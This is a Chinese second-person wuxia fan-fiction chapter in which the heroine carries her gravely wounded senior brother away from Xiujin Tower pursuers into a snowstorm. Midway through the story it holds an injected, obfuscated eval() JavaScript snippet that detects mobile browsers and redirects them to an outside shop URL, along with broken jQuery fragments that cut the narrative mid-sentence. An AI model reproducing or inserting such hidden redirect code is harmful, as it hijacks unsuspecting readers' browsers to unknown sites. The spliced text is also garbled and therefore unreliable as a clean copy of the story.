刀剑相交的声音在耳畔轰然炸开,你顾不得再提防千夜,下意识转身往小师兄那边望过去。
他的衣衫几乎快被血染透了,衣料被利刃割了好几处口子。折扇开合之间依旧稳稳当当取人性命,肩头那道深长的刀口正止不住地渗血,顺着手臂淌到扇面上,浸出斑驳的暗红色。
千夜趁你分神,手中弯刀一转,直冲你而来。
你提剑格挡,借势向后一闪,她这么一攻,反而给了你退到小师兄身边的机会,你半跪在地上,靠手中的长剑支撑才没有倒下去。
他伤得比你重。
你握剑的手在发颤,咬着牙起身,用尽全身的力气甩出几道剑气将四周的人逼退些许,横剑挡在他身前。
先前缠着你的那几个人显然也看出来了,锋刃一转攻向陈慎,他如你一般强撑着起身,尽力抵挡。
谁也不想成为对方的负累。
你一面抵抗迎面劈来的刀刃,一面分神替他分担一二,但你们三天未曾合眼,又以寡敌众太久,早已是强弩之末,如今不过是硬撑。
你有些听不清了。
身后的暗箭飞来时你全然没有注意到,只模模糊糊听见小师兄慌乱的说了什么。
听清了,是一声师妹。
小师兄在叫你。
那支箭直直坠在你眼前,同你极熟悉的折扇一起。
你回头,几柄长刀直逼向他的胸腹。你周身的血液在那一瞬仿佛冻住了,什么招式周旋都抛之脑后,足尖一点便冲过去,丝毫不顾刺向的自己的寒刃。
你赶上了,挡住了。
只是有一柄剑自身后而来,狠狠扎进了他的右肩,长剑没入皮肉又离开的声音格外刺耳。
你慌忙扶住他,血溅在你衣袖、手腕、面颊,腥甜的味道猛地攥住你的神经。他方才为了救你,将折扇丢出去抵挡,如今落在离你们很远的地方,你手中的剑似乎成了眼下唯一的倚仗。
可你已经没有力气了。
千夜的声音又阴魂不散地响起:“我同她有些旧怨,诸位,离远些。”
先攻过来的却是柏楚玉。
你勉力一挡,忽然感觉手中好像多了什么。你垂眸,是一只顷刻被血浸透,贴在你手心的纸狐狸。
“我同她也有旧怨。”
是楚玉的声音。
……朋友。
你响起那晚说过的话,攥紧了手中的纸狐狸。
打到此刻显然胜负已分,千夜和柏楚玉还在与你争斗,绣金楼余下的人只在一旁看戏,既然两尊大佛都想要你的小命,便任由他们去争好了。
你痛得几乎喘不上气,强撑着扶住陈慎摇摇欲坠的身子。
“师妹,我……自己……可以。”
你不理他,半边肩膀承住他不受控压过来的大半重量,握剑的手颤抖得厉害。
纸狐狸意味着楚玉承认你们是朋友,尽管当初她那样嘴硬,你专心应付千夜,渐渐混沌的意识却飘过什么,你抓不住,只觉得不对。
柏楚玉却知道,千夜同她一样,在刻意手下留情,甚至想放你们走。她心头疑窦骤生,一路将你们逼到了断崖边上。
你扶着小师兄,向后倒下去之前,你极轻地对她说:“多谢,朋友。”
她的剑锋没有停顿,但你知道她听到了。
匆匆跟来的绣金楼众人只看到断崖边暗红色的血,一时哗然:“不是说了死要见尸吗?”
柏楚玉几不可察地瞥了千夜一眼,见她无意拆穿,蹙着眉恼道:“下去搜就是,都伤成那样了,能跑哪儿去?诸位怎得这样没耐性?猫捉耗子都要先玩弄一番的,不觉得眼下这样很有趣吗?”
头发花白的老者眯起眼:“若寻不到人楼主怪罪,你们二位自己担着。”
“一把年纪了,这样怕死。”千夜的弯刀还在滴着血,“放心,不连累你。”
老者拂袖而去,柏楚玉最后看了眼深不见底的断崖,轻轻皱了下眉。路上她什么都没说,和身旁她不大喜欢的女人心照不宣地闭上嘴,仿佛她们真的只是玩弄耗子的那只猫而已。
—
你痛得快要撑不住了,但绣金楼很快会追过来。
“小师兄?”你听见他咳嗽,“……我们得走了。”
陈慎的声音轻得你几乎听不清:“师妹,书、书还在吗?”
“在的,我贴身收着。”
你想像方才那样扶着他,让他将重量压在你身上,却被他抽回手躲开了。
“……师妹,我没力气了。”他说,“你走吧,带着它,回江南,去、去——咳!给师父解毒。”
你气极反笑:“三天前你告诉我,我如今有家,不能只身犯险,你不会丢下我先走,说你我若不能同归,解毒对于陈叔而言就是痛苦。现在你要我丢下你先走?想都不要想!我们要一起回家!去见陈叔!”
你从衣角撕了长长一条布,将他背起来,又用那条布把你们绑在一起。他身子很沉,是彻底脱力的那种沉重,你面颊上黏糊糊的,不知究竟是你们谁的血。
这是哪儿?
你望见熟悉的群山和湖水,是抱山湖,离开封不算远。你记得穿过抱山湖往东北方走是聆杏村,那里有医馆,有青溪弟子。
但你们的没有马,包袱一并不在了,血迹就是活生生的靶子,绣金楼会沿着它找到你们,山间的野兽会顺着腥味扑过来,觅食的秃鹫很快会在你们头顶盘旋。
你得先找地方给小师兄止血。
——还有你自己。
你甚至遥遥能望见清河和开封之间的山,只要穿过去……但你们没了良驹,干粮、水、伤药一点不剩,连折扇都丢了,身上只有一柄佩剑、一本医书,和一身纵横交错的伤口。
你记得有人曾告诉过你,带着重伤的人长途跋涉,最怕的不是挨饿受冻,是了无生息。你得和他说话,一直说,一直说,天南海北,事无巨细。
“小师兄。”你轻声唤他,“你和陈叔来接我之前,想过这个师妹会是什么样吗?”
“想过。”
温热的气息夹着淡淡的血腥味蹭在你耳侧,他的额头抵在你颈侧,滚烫的,这是发了热。
你将喉头的腥甜咽回去,又问他:“想过啊,我那时候在小师兄眼里,是什么样子?”
“师父……常常……提起。”陈慎说每个字都很艰难了,他疲累得厉害,没力气睁开眼睛,“说你……顽皮……不听话。”
你:“陈叔就没说点好话?”
他声音越来越轻:“讨人喜欢……机灵……还有……”
你肩上一沉。
“小师兄!”你急切地唤他,哭腔不可抑制地涌上来,“你把眼睛睁开,不能睡,和我说话!求你了,和我说话!”
“师妹。”他咳嗽的声音很轻,落在你耳中却压得人喘不过气,“我在。”
“我认得路,小师兄,我认得路的!我们很快就到开封了。”面颊上有什么东西滑落,是滚烫的,不知究竟是泪水还是血珠,“你知道聆杏村吗?那里有大夫,还有、还有青溪的弟子,你的折扇不是丢了吗?我们可以在那里做一把新的……”
你乱七八糟和他说了很多话,最初他还断断续续回应你,后来渐渐变成听不大清的一声嗯。
你身上好痛,几天没有合眼的疲惫和伤痛一起涌上来,浑身的骨头像被碾碎了似的,每走一步都伴着撕心裂肺的疼。你眼前一阵发黑,天旋地转,险些直直栽倒在碎石上,你不敢停,只好死死咬着舌尖,任由血腥味在口中漫开,靠那一点儿微不足道的疼逼自己清醒。
耳侧陈慎的呼吸越来越浅,你同他说话要隔很久,说很多遍才能等来那一声轻飘飘的回应。你听见头顶窸窸窣窣的动静,回头看见一路血迹清清楚楚指明你们的方向。
不能再继续走了。
再这样下去,还没到开封,你们就会被追上,即便侥幸逃脱,只怕也会流干血死在这儿。
你慌乱地扫过四周,目光停在被藤蔓遮住的裂隙上,那里勉强可以供两个人藏身,但一旦躲进去,便意味着困于一隅,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936273|213723||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
被找到你们便只有死路一条。
你咬了咬牙,钻进了那方隐蔽的小天地。
布条解开的一瞬间,陈慎身子一软,险些跌下去,你连忙伸手扶住,将他护在自己怀中。
你怀里的人双目紧闭,嘴唇已经泛起浅浅的青紫色,脸色白得像纸,衣衫上褐色的、暗红的、鲜红的血迹斑驳在一起,让你连止血都不知从何下手。
没有清水,没有金疮药,什么都没有,你只能又去撕自己的衣角,将布条一圈又一圈缠在他肩上。
“小师兄,别睡好不好,求你了。”你将脸贴紧他的额头,感受到他灼人的体温,“你想一想陈叔、回春堂、江南,还有我……我还想吃你买的松子糖呢。”
洞口传来愈发清晰的脚步声。
你握紧剑柄。
“呦,我就说绣金楼跟疯狗似的漫山遍野找什么呢。”来人眼上蒙着布,“原来是找你们这两条丧家之犬。”
你看清来人:“贺、贺然叔!”
“别叫我叔!”贺然很嫌弃你,“我同江晏不熟!”
你:“……哦。”
“啧,靠女人护着的小白脸你也要?江晏果真养不出什么好孩子。”他吹了声哨,一匹马便飞奔而来,“带上你没用的情郎赶紧滚!我给你挡着,就当——我同你个小崽子说这些干什么?滚!”
你扶着小师兄上马,照旧将自己与他绑在一起,扯了缰绳要走却犹豫了:“贺然叔,那你——”
“都说了,我同江晏不熟!”远处亮起微弱的火光,“走不走啊?不走马还我!滚去送死!”
你同他道了声保重,调转马头离去。
“小崽子,我没打算把命搭这儿!一会儿他们还追你,我可不管啊!”
天边终于泛起鱼肚白,今冬的第一场雪与白昼一同到来。
只要穿过眼前的山。
你握紧缰绳,迟迟没有动,你没有太多犹疑的时间,身后也没有半条退路。罢了,第一场雪,应当不至于太大,你一咬牙,策马冲进飘雪的山。
雪却越来越大了。
不远处有个山洞,你暂且停下来,将马儿的缰绳绕在它脖子上:“走吧,这离山口不远,你躲着点人,回去找贺叔。”
马儿乖巧地蹭了蹭你手心。
你读懂它的意思,无助地笑起来:“多谢你啊,但马在哪儿人就在哪儿,反而好找了。快走吧,这白茫茫一片,没有你在,他们找不到的。”
这场初雪下了一整天没有停。
绣金楼竟也没有追进来,或许是觉得你们必死无疑——事实似乎也的确如此,又或许是正在大雪的山中打转。
你捡了干柴,生了火,将雪水烤化了一点一点喂给小师兄喝,但当天夜里你们便生不起火了,枯枝都被雪浸湿了,点不着。
你将自己的外衣加在他身上,还是靠一根布条绑着,朝一个方向茫然地走,也可能不是一个方向,被雪覆盖的山放眼望去并无差别,老天也没有眷顾你,夜里连唯一能用来辨别方向的星子都没见到一颗。
陈慎清醒的时间越来越短。
满目惨白撞进眼里,他想起你同他说过的,大雪后的山。
“……师妹。”他气若游丝,每说一个字都撕心裂肺的疼,“你、你先走,去找、找人……我在这里、等你……若是、若是你回来……我、我已经……求你,回江南,给师父解、解毒……”
你不是没想过。
暂且将小师兄留下,你出去找人,可他伤成这样,昨夜生不起火,深山的雪夜又那样冷——唯一的好事是夜里太冷了,你们的血竟都止住了。
昨天夜里是你抱着他,用自己的体温去暖,才堪堪熬了一宿。
你若真的离开。
他必死无疑。
身为医者,他怎么会不知道呢?
“陈慎。”你实在气极了,第一次直呼他的名字,“闭嘴。”
你听见耳畔很轻很轻的一声笑,然后有什么重重垂落,无论你如何呼唤,都没有人回应了。